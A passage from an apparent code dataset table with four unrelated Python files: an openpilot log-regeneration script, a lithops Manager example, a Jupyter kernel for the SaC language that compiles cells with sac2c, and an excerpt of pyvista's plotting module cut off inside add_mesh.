source
stringlengths
3
86
python
stringlengths
75
1.04M
regen.py
#!/usr/bin/env python3 import os import time import multiprocessing from tqdm import tqdm import argparse # run DM procs os.environ["USE_WEBCAM"] = "1" import cereal.messaging as messaging from cereal.services import service_list from cereal.visionipc.visionipc_pyx import VisionIpcServer, VisionStreamType # pylint: disable=no-name-in-module, import-error from common.params import Params from common.realtime import Ratekeeper, DT_MDL, DT_DMON, sec_since_boot from common.transformations.camera import eon_f_frame_size, eon_d_frame_size, tici_f_frame_size, tici_d_frame_size from selfdrive.car.fingerprints import FW_VERSIONS from selfdrive.manager.process import ensure_running from selfdrive.manager.process_config import managed_processes from selfdrive.test.process_replay.process_replay import setup_env, check_enabled from selfdrive.test.update_ci_routes import upload_route from tools.lib.route import Route from tools.lib.framereader import FrameReader from tools.lib.logreader import LogReader process_replay_dir = os.path.dirname(os.path.abspath(__file__)) FAKEDATA = os.path.join(process_replay_dir, "fakedata/") def replay_panda_states(s, msgs): pm = messaging.PubMaster([s, 'peripheralState']) rk = Ratekeeper(service_list[s].frequency, print_delay_threshold=None) smsgs = [m for m in msgs if m.which() in ['pandaStates', 'pandaStateDEPRECATED']] # Migrate safety param base on carState cp = [m for m in msgs if m.which() == 'carParams'][0].carParams if len(cp.safetyConfigs): safety_param = cp.safetyConfigs[0].safetyParam else: safety_param = cp.safetyParamDEPRECATED while True: for m in smsgs: if m.which() == 'pandaStateDEPRECATED': new_m = messaging.new_message('pandaStates', 1) new_m.pandaStates[0] = m.pandaStateDEPRECATED new_m.pandaStates[0].safetyParam = safety_param pm.send(s, new_m) else: new_m = m.as_builder() new_m.logMonoTime = int(sec_since_boot() * 1e9) pm.send(s, new_m) new_m = messaging.new_message('peripheralState') pm.send('peripheralState', new_m) rk.keep_time() def replay_manager_state(s, msgs): pm = messaging.PubMaster([s, ]) rk = Ratekeeper(service_list[s].frequency, print_delay_threshold=None) while True: new_m = messaging.new_message('managerState') new_m.managerState.processes = [{'name': name, 'running': True} for name in managed_processes] pm.send(s, new_m) rk.keep_time() def replay_device_state(s, msgs): pm = messaging.PubMaster([s, ]) rk = Ratekeeper(service_list[s].frequency, print_delay_threshold=None) smsgs = [m for m in msgs if m.which() == s] while True: for m in smsgs: new_m = m.as_builder() new_m.logMonoTime = int(sec_since_boot() * 1e9) new_m.deviceState.freeSpacePercent = 50 new_m.deviceState.memoryUsagePercent = 50 pm.send(s, new_m) rk.keep_time() def replay_sensor_events(s, msgs): pm = messaging.PubMaster([s, ]) rk = Ratekeeper(service_list[s].frequency, print_delay_threshold=None) smsgs = [m for m in msgs if m.which() == s] while True: for m in smsgs: new_m = m.as_builder() new_m.logMonoTime = int(sec_since_boot() * 1e9) for evt in new_m.sensorEvents: evt.timestamp = new_m.logMonoTime pm.send(s, new_m) rk.keep_time() def replay_service(s, msgs): pm = messaging.PubMaster([s, ]) rk = Ratekeeper(service_list[s].frequency, print_delay_threshold=None) smsgs = [m for m in msgs if m.which() == s] while True: for m in smsgs: new_m = m.as_builder() new_m.logMonoTime = int(sec_since_boot() * 1e9) pm.send(s, new_m) rk.keep_time() def replay_cameras(lr, frs): eon_cameras = [ ("roadCameraState", DT_MDL, eon_f_frame_size, VisionStreamType.VISION_STREAM_ROAD), ("driverCameraState", DT_DMON, eon_d_frame_size, VisionStreamType.VISION_STREAM_DRIVER), ] tici_cameras = [ ("roadCameraState", DT_MDL, tici_f_frame_size, VisionStreamType.VISION_STREAM_ROAD), ("driverCameraState", DT_MDL, tici_d_frame_size, VisionStreamType.VISION_STREAM_DRIVER), ] def replay_camera(s, stream, dt, vipc_server, frames, size): pm = messaging.PubMaster([s, ]) rk = Ratekeeper(1 / dt, print_delay_threshold=None) img = b"\x00" * int(size[0]*size[1]*3/2) while True: if frames is not None: img = frames[rk.frame % len(frames)] rk.keep_time() m = messaging.new_message(s) msg = getattr(m, s) msg.frameId = rk.frame msg.timestampSof = m.logMonoTime msg.timestampEof = m.logMonoTime pm.send(s, m) vipc_server.send(stream, img, msg.frameId, msg.timestampSof, msg.timestampEof) init_data = [m for m in lr if m.which() == 'initData'][0] cameras = tici_cameras if (init_data.initData.deviceType == 'tici') else eon_cameras # init vipc server and cameras p = [] vs = VisionIpcServer("camerad") for (s, dt, size, stream) in cameras: fr = frs.get(s, None) frames = None if fr is not None: print(f"Decompressing frames {s}") frames = [] for i in tqdm(range(fr.frame_count)): img = fr.get(i, pix_fmt='yuv420p')[0] frames.append(img.flatten().tobytes()) vs.create_buffers(stream, 40, False, size[0], size[1]) p.append(multiprocessing.Process(target=replay_camera, args=(s, stream, dt, vs, frames, size))) # hack to make UI work vs.create_buffers(VisionStreamType.VISION_STREAM_RGB_ROAD, 4, True, eon_f_frame_size[0], eon_f_frame_size[1]) vs.start_listener() return vs, p def regen_segment(lr, frs=None, outdir=FAKEDATA): lr = list(lr) if frs is None: frs = dict() setup_env() params = Params() os.environ["LOG_ROOT"] = outdir os.environ['SKIP_FW_QUERY'] = "" os.environ['FINGERPRINT'] = "" # TODO: remove after getting new route for mazda migration = { "Mazda CX-9 2021": "MAZDA CX-9 2021", } for msg in lr: if msg.which() == 'carParams': car_fingerprint = migration.get(msg.carParams.carFingerprint, msg.carParams.carFingerprint) if len(msg.carParams.carFw) and (car_fingerprint in FW_VERSIONS): params.put("CarParamsCache", msg.carParams.as_builder().to_bytes()) else: os.environ['SKIP_FW_QUERY'] = "1" os.environ['FINGERPRINT'] = car_fingerprint elif msg.which() == 'liveCalibration': params.put("CalibrationParams", msg.as_builder().to_bytes()) vs, cam_procs = replay_cameras(lr, frs) fake_daemons = { 'sensord': [ multiprocessing.Process(target=replay_sensor_events, args=('sensorEvents', lr)), ], 'pandad': [ multiprocessing.Process(target=replay_service, args=('can', lr)), multiprocessing.Process(target=replay_service, args=('ubloxRaw', lr)), multiprocessing.Process(target=replay_panda_states, args=('pandaStates', lr)), ], 'managerState': [ multiprocessing.Process(target=replay_manager_state, args=('managerState', lr)), ], 'thermald': [ multiprocessing.Process(target=replay_device_state, args=('deviceState', lr)), ], 'camerad': [ *cam_procs, ], } try: # start procs up ignore = list(fake_daemons.keys()) + ['ui', 'manage_athenad', 'uploader'] ensure_running(managed_processes.values(), started=True, not_run=ignore) for procs in fake_daemons.values(): for p in procs: p.start() for _ in tqdm(range(60)): # ensure all procs are running for d, procs in fake_daemons.items(): for p in procs: if not p.is_alive(): raise Exception(f"{d}'s {p.name} died") time.sleep(1) finally: # kill everything for p in managed_processes.values(): p.stop() for procs in fake_daemons.values(): for p in procs: p.terminate() del vs segment = params.get("CurrentRoute", encoding='utf-8') + "--0" seg_path = os.path.join(outdir, segment) # check to make sure openpilot is engaged in the route if not check_enabled(LogReader(os.path.join(seg_path, "rlog.bz2"))): raise Exception(f"Route never enabled: {segment}") return seg_path def regen_and_save(route, sidx, upload=False, use_route_meta=False): if use_route_meta: r = Route(args.route) lr = LogReader(r.log_paths()[args.seg]) fr = FrameReader(r.camera_paths()[args.seg]) else: lr = LogReader(f"cd:/{route.replace('|', '/')}/{sidx}/rlog.bz2") fr = FrameReader(f"cd:/{route.replace('|', '/')}/{sidx}/fcamera.hevc") rpath = regen_segment(lr, {'roadCameraState': fr}) lr = LogReader(os.path.join(rpath, 'rlog.bz2')) controls_state_active = [m.controlsState.active for m in lr if m.which() == 'controlsState'] assert any(controls_state_active), "Segment did not engage" relr = os.path.relpath(rpath) print("\n\n", "*"*30, "\n\n") print("New route:", relr, "\n") if upload: upload_route(relr) return relr if __name__ == "__main__": parser = argparse.ArgumentParser(description="Generate new segments from old ones") parser.add_argument("--upload", action="store_true", help="Upload the new segment to the CI bucket") parser.add_argument("route", type=str, help="The source route") parser.add_argument("seg", type=int, help="Segment in source route") args = parser.parse_args() regen_and_save(args.route, args.seg, args.upload)
manager.py
# from multiprocessing import Process, Manager from lithops.multiprocessing import Process, Manager def f(d, l): d[1] = '1' d['2'] = 2 d[0.25] = None l.reverse() if __name__ == '__main__': with Manager() as manager: d = manager.dict() l = manager.list(range(10)) p = Process(target=f, args=(d, l)) p.start() p.join() print(dict(d)) print(list(l))
kernel.py
from queue import Queue from threading import Thread from ipykernel.kernelbase import Kernel import re import subprocess import tempfile import os import os.path as path import json import shlex import ctypes def rm_nonempty_dir (d): for root, dirs, files in os.walk (d, topdown=False): for name in files: os.remove (os.path.join(root, name)) for name in dirs: os.rmdir (os.path.join(root, name)) os.rmdir (d) class RealTimeSubprocess(subprocess.Popen): """ A subprocess that allows to read its stdout and stderr in real time """ def __init__(self, cmd, write_to_stdout, write_to_stderr, directory): """ :param cmd: the command to execute :param write_to_stdout: a callable that will be called with chunks of data from stdout :param write_to_stderr: a callable that will be called with chunks of data from stderr """ self._write_to_stdout = write_to_stdout self._write_to_stderr = write_to_stderr super().__init__(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=0, cwd=directory) self._stdout_queue = Queue() self._stdout_thread = Thread(target=RealTimeSubprocess._enqueue_output, args=(self.stdout, self._stdout_queue)) self._stdout_thread.daemon = True self._stdout_thread.start() self._stderr_queue = Queue() self._stderr_thread = Thread(target=RealTimeSubprocess._enqueue_output, args=(self.stderr, self._stderr_queue)) self._stderr_thread.daemon = True self._stderr_thread.start() @staticmethod def _enqueue_output(stream, queue): """ Add chunks of data from a stream to a queue until the stream is empty. """ for line in iter(lambda: stream.read(4096), b''): queue.put(line) stream.close() def write_contents(self): """ Write the available content from stdin and stderr where specified when the instance was created :return: """ def read_all_from_queue(queue): res = b'' size = queue.qsize() while size != 0: res += queue.get_nowait() size -= 1 return res stdout_contents = read_all_from_queue(self._stdout_queue) if stdout_contents: self._write_to_stdout(stdout_contents) stderr_contents = read_all_from_queue(self._stderr_queue) if stderr_contents: self._write_to_stderr(stderr_contents) class SacKernel(Kernel): implementation = 'jupyter_sac_kernel' implementation_version = '0.1' language = 'sac' language_version = 'SaC-1.2' language_info = {'name': 'sac', 'mimetype': 'text/plain', 'file_extension': '.sac'} banner = "SaC kernel.\n" \ "Uses sac2c, to incrementaly compile the notebook.\n" def __init__(self, *args, **kwargs): super(SacKernel, self).__init__(*args, **kwargs) self.files = [] self.stmts = [] self.imports = [ #"use StdIO: all;", #"use Array: all;" ] self.funs = [] self.sac2c_flags = ['-v0', '-O0', '-noprelude', '-noinl', '-specmode', 'aud'] # XXX this is the location of the sac2c which must # be correct for the system you are running the kernel. # otherwise this module won't be able to find libsac2c. p = '/tmp/sac2c' self.sac2c_bin = p + '/build_r/sac2c_p' self.sac2c_so = p + '/build_r/lib/libsac2c_p.so' self.sac2c_so_handle = ctypes.CDLL (self.sac2c_so, mode=(1|ctypes.RTLD_GLOBAL)) self.sac2c_so_handle.jupyter_init () self.sac2c_so_handle.jupyter_parse_from_string.restype = ctypes.c_void_p self.sac2c_so_handle.jupyter_free.argtypes = ctypes.c_void_p, self.sac2c_so_handle.jupyter_free.res_rtype = ctypes.c_void_p # Creatae the directory where all the compilation/execution will be happening. self.tmpdir = tempfile.mkdtemp (prefix="jup-sac") def cleanup_files(self): """Remove all the temporary files created by the kernel""" for file in self.files: os.remove(file) # Remove the directory rm_nonempty_dir (self.tmpdir) # Call some cleanup functions in sac2c library. self.sac2c_so_handle.jupyter_finalize () def check_sacprog_type (self, prog): s = ctypes.c_char_p (prog.encode ('utf-8')) ret_ptr = self.sac2c_so_handle.jupyter_parse_from_string (s, -1) #len (self.imports)) ret_s = ctypes.cast (ret_ptr, ctypes.c_char_p).value self.sac2c_so_handle.jupyter_free (ret_ptr) j = {"status": "fail", "stderr": "cannot parse json: {}".format (ret_s)} try: j = json.loads (ret_s) except: pass return j def new_temp_file(self, **kwargs): """Create a new temp file to be deleted when the kernel shuts down""" # We don't want the file to be deleted when closed, but only when the kernel stops kwargs['delete'] = False kwargs['mode'] = 'w' kwargs['dir'] = self.tmpdir file = tempfile.NamedTemporaryFile(**kwargs) self.files.append(file.name) return file def _write_to_stdout(self, contents): self.send_response(self.iopub_socket, 'stream', {'name': 'stdout', 'text': contents}) def _write_to_stderr(self, contents): self.send_response(self.iopub_socket, 'stream', {'name': 'stderr', 'text': contents}) def create_jupyter_subprocess(self, cmd): return RealTimeSubprocess(cmd, lambda contents: self._write_to_stdout(contents.decode()), lambda contents: self._write_to_stderr(contents.decode()), self.tmpdir) def compile_with_sac2c(self, source_filename, binary_filename, extra_flags=[]): # Flags are of type list of strings. sac2cflags = self.sac2c_flags + extra_flags args = [self.sac2c_bin] + ['-o', binary_filename] + sac2cflags + [source_filename] return self.create_jupyter_subprocess(args) # return magics def check_magics (self, code): # print (code.splitlines ()) lines = code.splitlines () if len (lines) < 1: return 0 l = lines[0].strip () if l == '%print': return self.mk_sacprg ("/* Placeholder. */ 0", 1) elif l == '%flags': return ' '.join (self.sac2c_flags) elif l.startswith ('%setflags'): nl = shlex.split (l[len ('%setflags'):]) self.sac2c_flags = nl return "setting flags to: {}".format (nl) elif l == '%help': return """\ Currently the following commands are available: %print -- print the current program including imports, functions and statements in the main. %flags -- print flags that are used when running sac2c. %setflags <flags> -- reset sac2c falgs to <flags> """ else: return None def mk_sacprg (self, txt, r): stmts = "\n\t".join (self.stmts) funs = "\n\n".join (self.funs) imports = "\n".join (self.imports) if r == 1: # expr stmts += "StdIO::print ({}\n\n);".format (txt) elif r == 2: # stmt stmts += txt elif r == 3: # fundef funs += txt else: # use/import/typedef imports += txt prg = """\ // use/import/typedef {} // functions {} // main function with stmt. int main () {{ {} return 0; }} """ p = prg.format (imports, funs, stmts) return p def do_execute(self, code, silent, store_history=True, user_expressions=None, allow_stdin=False): m = self.check_magics (code) if m is not None: self._write_to_stdout (m) return {'status': 'ok', 'execution_count': self.execution_count, 'payload': [], 'user_expressions': {}} r = self.check_sacprog_type (code) if r["status"] != "ok": # == -1: self._write_to_stderr( "[SaC kernel] This is not an expression/statements/function or use/import/typedef\n" + r["stderr"]) return {'status': 'ok', 'execution_count': self.execution_count, 'payload': [], 'user_expressions': {}} with self.new_temp_file(suffix='.sac') as source_file: source_file.write(self.mk_sacprg (code, r["ret"])) source_file.flush() with self.new_temp_file(suffix='.exe') as binary_file: p = self.compile_with_sac2c(source_file.name, binary_file.name) #, magics['cflags'], magics['ldflags']) while p.poll() is None: p.write_contents() p.write_contents() if p.returncode != 0: # Compilation failed self._write_to_stderr( "[SaC kernel] sac2c exited with code {}, the executable will not be executed".format( p.returncode)) return {'status': 'ok', 'execution_count': self.execution_count, 'payload': [], 'user_expressions': {}} p = self.create_jupyter_subprocess([binary_file.name]) # + magics['args']) while p.poll() is None: p.write_contents() p.write_contents() if p.returncode != 0: self._write_to_stderr("[SaC kernel] Executable exited with code {}".format(p.returncode)) else: if r["ret"] == 2: # stmts self.stmts.append (code) elif r["ret"] == 3: # funs self.funs.append (code) elif r["ret"] == 4: # use/import/typedef self.imports.append (code) return {'status': 'ok', 'execution_count': self.execution_count, 'payload': [], 'user_expressions': {}} def do_shutdown(self, restart): """Cleanup the created source code files and executables when shutting down the kernel""" self.cleanup_files() if __name__ == "__main__": from ipykernel.kernelapp import IPKernelApp IPKernelApp.launch_instance(kernel_class=SacKernel)
plotting.py
""" pyvista plotting module """ import collections import logging import os import time from threading import Thread import imageio import numpy as np import scooby import vtk from vtk.util import numpy_support as VN import pyvista from pyvista.utilities import (convert_array, get_scalar, is_pyvista_obj, numpy_to_texture, raise_not_matching, wrap) from .colors import get_cmap_safe from .export_vtkjs import export_plotter_vtkjs from .mapper import make_mapper from .theme import * from .tools import * _ALL_PLOTTERS = {} def close_all(): """Close all open/active plotters""" for key, p in _ALL_PLOTTERS.items(): p.close() _ALL_PLOTTERS.clear() return True log = logging.getLogger(__name__) log.setLevel('CRITICAL') class BasePlotter(object): """ To be used by the Plotter and QtInteractor classes. Parameters ---------- shape : list or tuple, optional Number of sub-render windows inside of the main window. Specify two across with ``shape=(2, 1)`` and a two by two grid with ``shape=(2, 2)``. By default there is only one renderer. border : bool, optional Draw a border around each render window. Default False. border_color : string or 3 item list, optional, defaults to white Either a string, rgb list, or hex color string. For example: color='white' color='w' color=[1, 1, 1] color='#FFFFFF' border_width : float, optional Width of the border in pixels when enabled. """ def __new__(cls, *args, **kwargs): if cls is BasePlotter: raise TypeError("pyvista.BasePlotter is an abstract class and may not be instantiated.") return object.__new__(cls) def __init__(self, shape=(1, 1), border=None, border_color='k', border_width=1.0): """ Initialize base plotter """ self.image_transparent_background = rcParams['transparent_background'] # by default add border for multiple plots if border is None: if shape != (1, 1): border = True else: border = False # add render windows self.renderers = [] self._active_renderer_index = 0 assert_str = '"shape" should be a list or tuple' assert isinstance(shape, collections.Iterable), assert_str assert shape[0] > 0, '"shape" must be positive' assert shape[1] > 0, '"shape" must be positive' self.shape = shape for i in reversed(range(shape[0])): for j in range(shape[1]): renderer = pyvista.Renderer(self, border, border_color, border_width) x0 = i/shape[0] y0 = j/shape[1] x1 = (i+1)/shape[0] y1 = (j+1)/shape[1] renderer.SetViewport(y0, x0, y1, x1) self.renderers.append(renderer) # This keeps track of scalar names already plotted and their ranges self._scalar_bar_ranges = {} self._scalar_bar_mappers = {} self._scalar_bar_actors = {} self._scalar_bar_widgets = {} self._actors = {} # track if the camera has been setup # self.camera_set = False self._first_time = True # Keep track of the scale self._labels = [] # Set default style self._style = vtk.vtkInteractorStyleRubberBandPick() # Add self to open plotters _ALL_PLOTTERS[str(hex(id(self)))] = self # lighting style self.lighting = vtk.vtkLightKit() # self.lighting.SetHeadLightWarmth(1.0) # self.lighting.SetHeadLightWarmth(1.0) for renderer in self.renderers: self.lighting.AddLightsToRenderer(renderer) renderer.LightFollowCameraOn() def update_style(self): if not hasattr(self, '_style'): self._style = vtk.vtkInteractorStyleTrackballCamera() if hasattr(self, 'iren'): return self.iren.SetInteractorStyle(self._style) def enable_trackball_style(self): """ sets the interactive style to trackball - the default syle """ self._style = vtk.vtkInteractorStyleTrackballCamera() return self.update_style() def enable_image_style(self): """ sets the interactive style to image Controls: - Left Mouse button triggers window level events - CTRL Left Mouse spins the camera around its view plane normal - SHIFT Left Mouse pans the camera - CTRL SHIFT Left Mouse dollys (a positional zoom) the camera - Middle mouse button pans the camera - Right mouse button dollys the camera. - SHIFT Right Mouse triggers pick events """ self._style = vtk.vtkInteractorStyleImage() return self.update_style() def enable_joystick_style(self): """ sets the interactive style to joystick allows the user to move (rotate, pan, etc.) the camera, the point of view for the scene. The position of the mouse relative to the center of the scene determines the speed at which the camera moves, and the speed of the mouse movement determines the acceleration of the camera, so the camera continues to move even if the mouse if not moving. For a 3-button mouse, the left button is for rotation, the right button for zooming, the middle button for panning, and ctrl + left button for spinning. (With fewer mouse buttons, ctrl + shift + left button is for zooming, and shift + left button is for panning.) """ self._style = vtk.vtkInteractorStyleJoystickCamera() return self.update_style() def enable_zoom_style(self): """ sets the interactive style to rubber band zoom This interactor style allows the user to draw a rectangle in the render window using the left mouse button. When the mouse button is released, the current camera zooms by an amount determined from the shorter side of the drawn rectangle. """ self._style = vtk.vtkInteractorStyleRubberBandZoom() return self.update_style() def enable_terrain_style(self): """ sets the interactive style to terrain Used to manipulate a camera which is viewing a scene with a natural view up, e.g., terrain. The camera in such a scene is manipulated by specifying azimuth (angle around the view up vector) and elevation (the angle from the horizon). """ self._style = vtk.vtkInteractorStyleTerrain() return self.update_style() def enable_rubber_band_style(self): """ sets the interactive style to rubber band picking This interactor style allows the user to draw a rectangle in the render window by hitting 'r' and then using the left mouse button. When the mouse button is released, the attached picker operates on the pixel in the center of the selection rectangle. If the picker happens to be a vtkAreaPicker it will operate on the entire selection rectangle. When the 'p' key is hit the above pick operation occurs on a 1x1 rectangle. In other respects it behaves the same as its parent class. """ self._style = vtk.vtkInteractorStyleRubberBandPick() return self.update_style() def set_focus(self, point): """ sets focus to a point """ if isinstance(point, np.ndarray): if point.ndim != 1: point = point.ravel() self.camera.SetFocalPoint(point) self._render() def set_position(self, point, reset=False): """ sets camera position to a point """ if isinstance(point, np.ndarray): if point.ndim != 1: point = point.ravel() self.camera.SetPosition(point) if reset: self.reset_camera() self.camera_set = True self._render() def set_viewup(self, vector): """ sets camera viewup vector """ if isinstance(vector, np.ndarray): if vector.ndim != 1: vector = vector.ravel() self.camera.SetViewUp(vector) self._render() def _render(self): """ redraws render window if the render window exists """ if hasattr(self, 'ren_win'): if hasattr(self, 'render_trigger'): self.render_trigger.emit() elif not self._first_time: self.render() def add_axes(self, interactive=None, color=None, box=False, box_arguments=None): """ Add an interactive axes widget """ if interactive is None: interactive = rcParams['interactive'] if hasattr(self, 'axes_widget'): self.axes_widget.SetInteractive(interactive) self._update_axes_color(color) return # Chose widget type if box: if box_arguments is None: box_arguments = {} prop_assembly = create_axes_orientation_box(**box_arguments) self.axes_actor = prop_assembly else: self.axes_actor = vtk.vtkAxesActor() self.axes_widget = vtk.vtkOrientationMarkerWidget() self.axes_widget.SetOrientationMarker(self.axes_actor) if hasattr(self, 'iren'): self.axes_widget.SetInteractor(self.iren) self.axes_widget.SetEnabled(1) self.axes_widget.SetInteractive(interactive) # Set the color self._update_axes_color(color) def hide_axes(self): """Hide the axes orientation widget""" if hasattr(self, 'axes_widget'): self.axes_widget.EnabledOff() def show_axes(self): """Show the axes orientation widget""" if hasattr(self, 'axes_widget'): self.axes_widget.EnabledOn() else: self.add_axes() def key_press_event(self, obj, event): """ Listens for key press event """ key = self.iren.GetKeySym() log.debug('Key %s pressed' % key) if key == 'q': self.q_pressed = True # Grab screenshot right before renderer closes self.last_image = self.screenshot(True, return_img=True) elif key == 'b': self.observer = self.iren.AddObserver('LeftButtonPressEvent', self.left_button_down) elif key == 'v': self.isometric_view_interactive() def left_button_down(self, obj, event_type): """Register the event for a left button down click""" # Get 2D click location on window click_pos = self.iren.GetEventPosition() # Get corresponding click location in the 3D plot picker = vtk.vtkWorldPointPicker() picker.Pick(click_pos[0], click_pos[1], 0, self.renderer) self.pickpoint = np.asarray(picker.GetPickPosition()).reshape((-1, 3)) if np.any(np.isnan(self.pickpoint)): self.pickpoint[:] = 0 def isometric_view_interactive(self): """ sets the current interactive render window to isometric view """ interactor = self.iren.GetInteractorStyle() renderer = interactor.GetCurrentRenderer() renderer.view_isometric() def update(self, stime=1, force_redraw=True): """ Update window, redraw, process messages query Parameters ---------- stime : int, optional Duration of timer that interrupt vtkRenderWindowInteractor in milliseconds. force_redraw : bool, optional Call vtkRenderWindowInteractor.Render() immediately. """ if stime <= 0: stime = 1 curr_time = time.time() if Plotter.last_update_time > curr_time: Plotter.last_update_time = curr_time if not hasattr(self, 'iren'): return update_rate = self.iren.GetDesiredUpdateRate() if (curr_time - Plotter.last_update_time) > (1.0/update_rate): self.right_timer_id = self.iren.CreateRepeatingTimer(stime) self.iren.Start() self.iren.DestroyTimer(self.right_timer_id) self._render() Plotter.last_update_time = curr_time else: if force_redraw: self.iren.Render() def add_mesh(self, mesh, color=None, style=None, scalars=None, rng=None, stitle=None, show_edges=None, point_size=5.0, opacity=1.0, line_width=None, flip_scalars=False, lighting=None, n_colors=256, interpolate_before_map=False, cmap=None, label=None, reset_camera=None, scalar_bar_args=None, multi_colors=False, name=None, texture=None, render_points_as_spheres=None, smooth_shading=False, render_lines_as_tubes=False, edge_color=None, ambient=0.0, show_scalar_bar=None, nan_color=None, nan_opacity=1.0, loc=None, backface_culling=False, rgb=False, categories=False, **kwargs): """ Adds a unstructured, structured, or surface mesh to the plotting object. Also accepts a 3D numpy.ndarray Parameters ---------- mesh : vtk unstructured, structured, polymesh, or 3D numpy.ndarray A vtk unstructured, structured, or polymesh to plot. color : string or 3 item list, optional, defaults to white Either a string, rgb list, or hex color string. For example: color='white' color='w' color=[1, 1, 1] color='#FFFFFF' Color will be overridden when scalars are input. style : string, optional Visualization style of the vtk mesh. One for the following: style='surface' style='wireframe' style='points' Defaults to 'surface' scalars : numpy array, optional Scalars used to "color" the mesh. Accepts an array equal to the number of cells or the number of points in the mesh. Array should be sized as a single vector. If both color and scalars are None, then the active scalars are used rng : 2 item list, optional Range of mapper for scalars. Defaults to minimum and maximum of scalars array. Example: ``[-1, 2]``. ``clim`` is also an accepted alias for this. stitle : string, optional Scalar title. By default there is no scalar legend bar. Setting this creates the legend bar and adds a title to it. To create a bar with no title, use an empty string (i.e. ''). show_edges : bool, optional Shows the edges of a mesh. Does not apply to a wireframe representation. point_size : float, optional Point size. Applicable when style='points'. Default 5.0 opacity : float, optional Opacity of mesh. Should be between 0 and 1. Default 1.0. A string option can also be specified to map the scalar range to the opacity. Options are: linear, linear_r, geom, geom_r line_width : float, optional Thickness of lines. Only valid for wireframe and surface representations. Default None. flip_scalars : bool, optional Flip direction of cmap. lighting : bool, optional Enable or disable view direction lighting. Default False. n_colors : int, optional Number of colors to use when displaying scalars. Default 256. interpolate_before_map : bool, optional Enabling makes for a smoother scalar display. Default False cmap : str, optional cmap string. See available matplotlib cmaps. Only applicable for when displaying scalars. Defaults None (rainbow). Requires matplotlib. multi_colors : bool, optional If a ``MultiBlock`` dataset is given this will color each block by a solid color using matplotlib's color cycler. name : str, optional The name for the added mesh/actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. texture : vtk.vtkTexture or np.ndarray or boolean, optional A texture to apply if the input mesh has texture coordinates. This will not work with MultiBlock datasets. If set to ``True``, the first avaialble texture on the object will be used. If a string name is given, it will pull a texture with that name associated to the input mesh. ambient : float, optional When lighting is enabled, this is the amount of light from 0 to 1 that reaches the actor when not directed at the light source emitted from the viewer. Default 0.2. nan_color : string or 3 item list, optional, defaults to gray The color to use for all NaN values in the plotted scalar array. nan_opacity : float, optional Opacity of NaN values. Should be between 0 and 1. Default 1.0 backface_culling : bool optional Does not render faces that should not be visible to the plotter. This can be helpful for dense surface meshes, especially when edges are visible, but can cause flat meshes to be partially displayed. Default False. rgb : bool, optional If an 2 dimensional array is passed as the scalars, plot those values as RGB+A colors! ``rgba`` is also accepted alias for this. categories : bool, optional If set to ``True``, then the number of unique values in the scalar array will be used as the ``n_colors`` argument. Returns ------- actor: vtk.vtkActor VTK actor of the mesh. """ # Convert the VTK data object to a pyvista wrapped object if neccessary if not is_pyvista_obj(mesh): mesh = wrap(mesh) ##### Parse arguments to be used for all meshes ##### if scalar_bar_args is None: scalar_bar_args = {} if show_edges is None: show_edges = rcParams['show_edges'] if edge_color is None: edge_color = rcParams['edge_color'] if show_scalar_bar is None: show_scalar_bar = rcParams['show_scalar_bar'] if lighting is None: lighting = rcParams['lighting'] if rng is None: rng = kwargs.get('clim', None) if render_points_as_spheres is None: render_points_as_spheres = rcParams['render_points_as_spheres'] if name is None: name = '{}({})'.format(type(mesh).__name__, str(hex(id(mesh)))) ##### Handle composite datasets ##### if isinstance(mesh, pyvista.MultiBlock): self.remove_actor(name, reset_camera=reset_camera) # frist check the scalars if rng is None and scalars is not None: # Get the data range across the array for all blocks # if scalar specified if isinstance(scalars, str): rng = mesh.get_data_range(scalars) else: # TODO: an array was given... how do we deal with # that? Possibly a 2D arrays or list of # arrays where first index corresponds to # the block? This could get complicated real # quick. raise RuntimeError('Scalar array must be given as a string name for multiblock datasets.') if multi_colors: # Compute unique colors for each index of the block try: import matplotlib as mpl from itertools import cycle cycler = mpl.rcParams['axes.prop_cycle'] colors = cycle(cycler) except ImportError: multi_colors = False logging.warning('Please install matplotlib for color cycles') # Now iteratively plot each element of the multiblock dataset actors = [] for idx in range(mesh.GetNumberOfBlocks()): if mesh[idx] is None: continue # Get a good name to use next_name = '{}-{}'.format(name, idx) # Get the data object if not is_pyvista_obj(mesh[idx]): data = wrap(mesh.GetBlock(idx)) if not is_pyvista_obj(mesh[idx]): continue # move on if we can't plot it else: data = mesh.GetBlock(idx) if data is None or (not isinstance(data, pyvista.MultiBlock) and data.n_points < 1): # Note that a block can exist but be None type # or it could have zeros points (be empty) after filtering continue # Now check that scalars is available for this dataset if isinstance(data, vtk.vtkMultiBlockDataSet) or get_scalar(data, scalars) is None: ts = None else: ts = scalars if multi_colors: color = next(colors)['color'] a = self.add_mesh(data, color=color, style=style, scalars=ts, rng=rng, stitle=stitle, show_edges=show_edges, point_size=point_size, opacity=opacity, line_width=line_width, flip_scalars=flip_scalars, lighting=lighting, n_colors=n_colors, interpolate_before_map=interpolate_before_map, cmap=cmap, label=label, scalar_bar_args=scalar_bar_args, reset_camera=reset_camera, name=next_name, texture=None, render_points_as_spheres=render_points_as_spheres, render_lines_as_tubes=render_lines_as_tubes, edge_color=edge_color, show_scalar_bar=show_scalar_bar, nan_color=nan_color, nan_opacity=nan_opacity, loc=loc, rgb=rgb, **kwargs) actors.append(a) if (reset_camera is None and not self.camera_set) or reset_camera: cpos = self.get_default_cam_pos() self.camera_position = cpos self.camera_set = False self.reset_camera() return actors ##### Plot a single PyVista mesh ##### # Compute surface normals if using smooth shading if smooth_shading: # extract surface if mesh is exterior if isinstance(mesh, (pyvista.UnstructuredGrid, pyvista.StructuredGrid)): grid = mesh mesh = grid.extract_surface() ind = mesh.point_arrays['vtkOriginalPointIds'] # remap scalars if scalars is not None: scalars = scalars[ind] mesh.compute_normals(cell_normals=False, inplace=True) if nan_color is None: nan_color = rcParams['nan_color'] nanr, nanb, nang = parse_color(nan_color) nan_color = nanr, nanb, nang, nan_opacity if color is True: color = rcParams['color'] if mesh.n_points < 1: raise RuntimeError('Empty meshes cannot be plotted. Input mesh has zero points.') # set main values self.mesh = mesh self.mapper = make_mapper(vtk.vtkDataSetMapper) self.mapper.SetInputData(self.mesh) if isinstance(scalars, str): self.mapper.SetArrayName(scalars) actor, prop = self.add_actor(self.mapper, reset_camera=reset_camera, name=name, loc=loc, culling=backface_culling) # Try to plot something if no preference given if scalars is None and color is None and texture is None: # Prefer texture first if len(list(mesh.textures.keys())) > 0: texture = True # If no texture, plot any active scalar else: # Make sure scalar components are not 